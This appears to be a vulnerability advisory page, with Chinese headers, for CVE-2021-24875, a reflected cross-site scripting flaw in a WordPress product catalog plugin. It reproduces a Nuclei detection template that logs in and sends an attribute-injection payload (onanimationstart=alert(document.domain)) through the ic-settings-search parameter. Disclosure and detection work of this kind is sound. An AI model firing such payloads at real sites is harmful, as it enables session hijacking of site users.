CVE-2021-24875: WordPress eCommerce Product Catalog <3.0.39 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress eCommerce Product Catalog | POC: 已公开

漏洞描述

WordPress eCommerce Product Catalog plugin before 3.0.39 contains a cross-site scripting vulnerability. The plugin does not escape the ic-settings-search parameter before outputting it back in the page in an attribute. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.

PoC代码[已公开]

id: CVE-2021-24875

info:
  name: WordPress eCommerce Product Catalog <3.0.39 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress eCommerce Product Catalog plugin before 3.0.39 contains a cross-site scripting vulnerability. The plugin does not escape the ic-settings-search parameter before outputting it back in the page in an attribute. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 3.0.39.
  reference:
    - https://wpscan.com/vulnerability/652efc4a-f931-4668-ae74-a58b288a5715
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24875
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24875
    cwe-id: CWE-79
    epss-score: 0.16493
    epss-percentile: 0.94662
    cpe: cpe:2.3:a:implecode:ecommerce_product_catalog:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: implecode
    product: ecommerce_product_catalog
    framework: wordpress
  tags: cve2021,cve,wp,authenticated,wpscan,ecommerce-product-catalog,xss,wordpress,wp-plugin,implecode

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=al_product&page=product-settings.php&ic-settings-search=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "alert(document.domain)")'
          - 'contains(body_2, "eCommerce Product Catalog")'
        condition: and
# digest: 490a0046304402202d382d875543353c8d079d345a98fb1b2bff9a063182780d8ba87feafb0d1fe50220467f862f532a6469b491f60d3cc0bfbfaaa411df4c8f19bede160e758ae3d651:922c64590222798bb761d5b6d8e72950